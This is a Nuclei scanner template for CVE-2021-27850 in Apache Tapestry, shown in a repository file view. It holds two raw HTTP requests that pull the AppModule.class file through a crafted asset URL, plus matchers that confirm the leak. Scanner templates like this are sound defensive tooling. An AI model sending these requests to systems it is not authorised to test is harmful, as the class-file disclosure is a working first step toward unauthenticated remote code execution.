nuclei-templates/cves/2021/CVE-2021-27850.yaml

61 lines
1.8 KiB
YAML
Raw Normal View History

2021-05-21 03:34:16 +00:00
id: CVE-2021-27850
info:
name: Apache Tapestry - Remote Code Execution
2021-05-21 03:34:16 +00:00
author: pdteam
severity: critical
description: |
Apache Tapestry contains a critical unauthenticated remote code execution vulnerability. Affected versions include 5.4.5, 5.5.0, 5.6.2 and 5.7.0. Note that this vulnerability is a bypass of the fix for CVE-2019-0195. Before that fix it was possible to download arbitrary class files from the classpath by providing a crafted asset file URL.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-27850
- https://lists.apache.org/thread.html/r237ff7f286bda31682c254550c1ebf92b0ec61329b32fbeb2d1c8751%40%3Cusers.tapestry.apache.org%3E
- http://www.openwall.com/lists/oss-security/2021/04/15/1
- https://security.netapp.com/advisory/ntap-20210528-0002/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-27850
cwe-id: CWE-502
tags: cve,cve2021,apache,tapestry
2021-05-21 03:34:16 +00:00
requests:
- raw:
- |
GET /assets/app/something/services/AppModule.class/ HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
2021-05-21 03:34:16 +00:00
- |
GET /assets/app/{{id}}/services/AppModule.class/ HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
extractors:
- type: regex
regex:
- '\/assets\/app\/([a-z0-9]+)\/services\/AppMod'
internal: true
name: id
part: header
group: 1
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- 'application/java'
part: header
- type: word
words:
- 'configuration'
- 'webtools'
part: body
condition: and
# Enhanced by mp on 2022/05/17